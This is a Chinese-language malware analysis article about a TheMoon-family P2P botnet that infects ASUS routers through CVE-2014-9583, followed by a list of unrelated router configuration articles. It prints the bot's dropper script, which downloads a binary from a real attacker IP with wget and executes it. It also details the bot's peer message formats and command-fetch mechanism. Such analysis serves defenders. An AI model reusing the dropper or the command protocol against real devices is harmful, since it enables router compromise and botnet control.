详解感染华硕路由器的P2P僵尸网络程序

所属分类: 网络 / 路由器 阅读数: 484
收藏 0 赞 0 分享

僵尸网络是指采用一种或多种传播手段,是指实现恶意控制功能的程序代码,在控制者和被感染主机之间所形成的一个可一对多控制的网络。

\

下图是利用wireshark抓包捕获的僵尸程序攻击流量,可看出僵尸程序使用了CVE-2014-9583漏洞利用代码。

\

CVE-2014-9583 :ASUS WRT是华硕(ASUS)公司的一个路由器固件。RT-AC66U、RT-N66U等多款路由器中使用的ASUS WRT的infosvr中的common.c文件中存在安全漏洞,该漏洞源于程序没有正确检查请求的MAC地址。远程攻击者可通过向UDP 9999端口发送NET_CMD_ID_MANU_CMD数据包利用该漏洞绕过身份验证,执行任意命令。详情参见GitHub

以下是bot从网站http://78.128.92.137:80/ 自动下载的nmlt1.sh文件内容

#!/bin/sh

cd /tmp

rm -f .nttpd

wget -O .nttpd http://78.128.92.137/.nttpd,17-mips-le-t1

chmod +x .nttpd

./.nttpd

路由器将会从攻击者控制的网站上自动下载并执行.nttpd文件,.nttpd运行后将成为驻留进程。以下为.nttpd文件哈希信息

\

该bot程序属于TheMoon恶意软件系列,程序结构如下:

\

该bot程序主要不同在于os_init和 run_modules函数,os_init中插入了8个iptables规则:

\

为了获得感染设备的绝对控制权,防止反复感染,其中第一条规则通过关闭端口9999,阻止其它攻击者利用华硕CVE-2014-9583漏洞;第二条规则是关闭多个端口,阻止其它攻击者利用D-Link的一个远程命令执行漏洞。其余为bot程序建立的网络通信规则。

在run_modules中,bot加载了3个模块:CLK 、NET、DWL,我们依次来做分析:

CLK模块

该模块加载了两个线程,一个用来计时,一个用来同步,它通过查询公开NTP服务器保持UTC时间。抓包发现bot与NTP服务器之间的请求回应流量

\

Net模块

该模块开启了UDP 5143端口,并创建了一个P2P通信线程。值得注意的是,与通常的端口通信不同,该bot程序支持3种不特定的消息类型。

Register message

RegisterTo message

FetchCommand message

每种类型都包含相同的头结构:

Offset Size Description

0 1 Body length

1 1 Message Type

2 1 TTL

3 1 0x8F (variant specific)

当bot接收到消息时,TTL值以1递减,并把消息转发给其它对等结点(peer),下图为向其它peer节点转发消息的底层代码

\

Register message(注册消息)

该消息类型标记为0,当所有模块加载完毕,消息将被转发给其它对等网络,包括iptables规则中的其它网络:

\

\

\

消息体由两个双字字符串组成,其中0x6d6163f4为特定变量,而00000xx为对等网络值。在转发完该消息类型之后,bot程序会自动把发送方添加为自身对等结点(peer),以此扩大传播感染面。

RegistertTo message(判断消息)

该消息类型标记也为0,但消息体为12个字节。如果第三个双字字符不为0,程序将会向特定IP发送register message消息进行注册。否则,将会向发送方持续请求register message,保持通信。下图为bot程序接收到的Register To消息流量包

\

FetchCommand message (控制消息)

该消息类型标记为1,消息体结构如下:

Offset Size Description

0 4 Peer IP address

4 4 Command id

8 4 Command size (Maximum 0x19001)

12 n file name(n8)

以下为bot接收到的FetchCommand消息流量包

\

之后,bot程序会把消息内容储存在Pending Command内为后续DWL模块使用:

Struct PendingCommand

{

DWORD ip;

DWORD cmd_id;

DWORD cmd_size;

CHAR filename[8];

};

DWL模块

该模块创建读取PendingCommand内容的进程,之后,程序通过TCP 4543端口向特定IP发送请求文件名和命令ID:

\

特定IP返回请求文件,bot储存响应信息并执行文件。下图为请求执行过程的底层实现代码:

\

总结

TheMoon恶意软件于2014年被SANS发现,主要以路由器为目标,利用漏洞植入感染。从底层代码来看,TheMoon还以华硕(ASUS)和 Linksys路由器为特定目标。通过分析可以看出,TheMoon使用iptables规则进行通信的P2P感染机制还不太成熟,另外,其不加密的通信可被轻易发现和分析。

以上就是脚本之家小编为大家讲解的感染华硕路由器的P2P僵尸网络程序的教程,需要的用户快来看看吧,想了解更多精彩教程请继续关注脚本之家网站!

推荐文章:

新型WiFi系统 MegaMIMO 2.0三倍速 解决信号差、上网慢问题

教你一招成功破解电信限制路由器,多台电脑一起上网速也一样快

更多精彩内容其他人还在看

Cisco路由静态路由配置试验步骤 实现不同网段之间的路由互相访问

当所有的Router都连接在一起的时候,其中同一网段内是可以实现互相访问的,但是我们如何才能够让不同网段之间的路由也可以互相访问呢?那就是静态路由配置,可能有的朋友会问怎么不用动态路由协议呢?下面我们一起来看一下
收藏 0 赞 0 分享

怎样配置思科路由器自反ACL 实现网段之间单向访问?

ACL可以限制网络流量、提高网络性能,为了保护内网的安全,可以只允许内网访问外网,不允许外网访问内网,这里利用cisco 路由器的自反ACL来实现。
收藏 0 赞 0 分享

AR28/AR46系列 路由器基于源地址策略路由的典型配置

基于策略的路由为网络管理者提供了比传统路由协议对报文的转发和存储更强的控制能力。策略路由使网络管理者能根据它提供的机制指定一个报文采取的具体路径。而在当今高性能的网络中,这种选择的自由性是很需要的
收藏 0 赞 0 分享

Cisco路由基础:双线策略路由的三种实现方式总结+端口映射

这篇文章主要为大家介绍了双线策略路由的三种实现方式总结和端口映射方面的问题,双线比单线要复杂多了,但把策略路由的原理弄明白了,就会发现其实并不难,需要的朋友可以参考下
收藏 0 赞 0 分享

魅族智能路由器已在开发中 魅族路由器有哪些功能?

自9月开始,魅族将连续四个月举行新品发布会,不出意外,MX4 Pro将在下月推出。而近日魅族工程师cefanty在论坛爆料称,魅族智能路由器已经在开发中,具体情况我们一起来了解吧
收藏 0 赞 0 分享

基于windows的源地址路由设置的3种方法

有一些情况下,目的路由满足不了我们的要求,而需要做源地址路由。比如我们的服务器有多个网关的情况,而目的端的IP地址无法确定,做不了目的路由,数据就会从默认的路由出去,这样数据肯定会有问题的,基于windows的源地址路由设置的解决办法如下
收藏 0 赞 0 分享

魅族智能路由器怎么样?魅族智能路由器参数配置如何

相信还有很多朋友对于魅族新产品魅族智能路由器的参数配置还不太清楚,下文小编就为大家带来魅族智能路由器参数方面的内容,一起去了解下吧
收藏 0 赞 0 分享

小米路由器怎么升级固件?小米路由器固件升级教程

由于小米路由器今年才正式发布,还有很多功能并未完善,升级空间很大。那么小米路由器怎么升级固件?这里简单介绍下怎么为你的小米路由器升级固件的方法。一起来看看吧
收藏 0 赞 0 分享

华为路由器 eNSP 配置 rip OSPF 路由重发布

这篇文章主要为大家介绍了给华为路由器eNSP配置rip OSPF 路由重发布的过程,不了解路由器rip OSPF 路由重发布的朋友可以和脚本之家的小编一起来学习一下
收藏 0 赞 0 分享

怎么查看无线路由器的密码

很多新手朋友在第一次设置完无线路由器后,却不知道怎么查看无线路由器的密码如何查看无线密码是多少,今天笔者将同大家分享查看无线路由器密码的方法,需要的朋友一起来看看吧
收藏 0 赞 0 分享
查看更多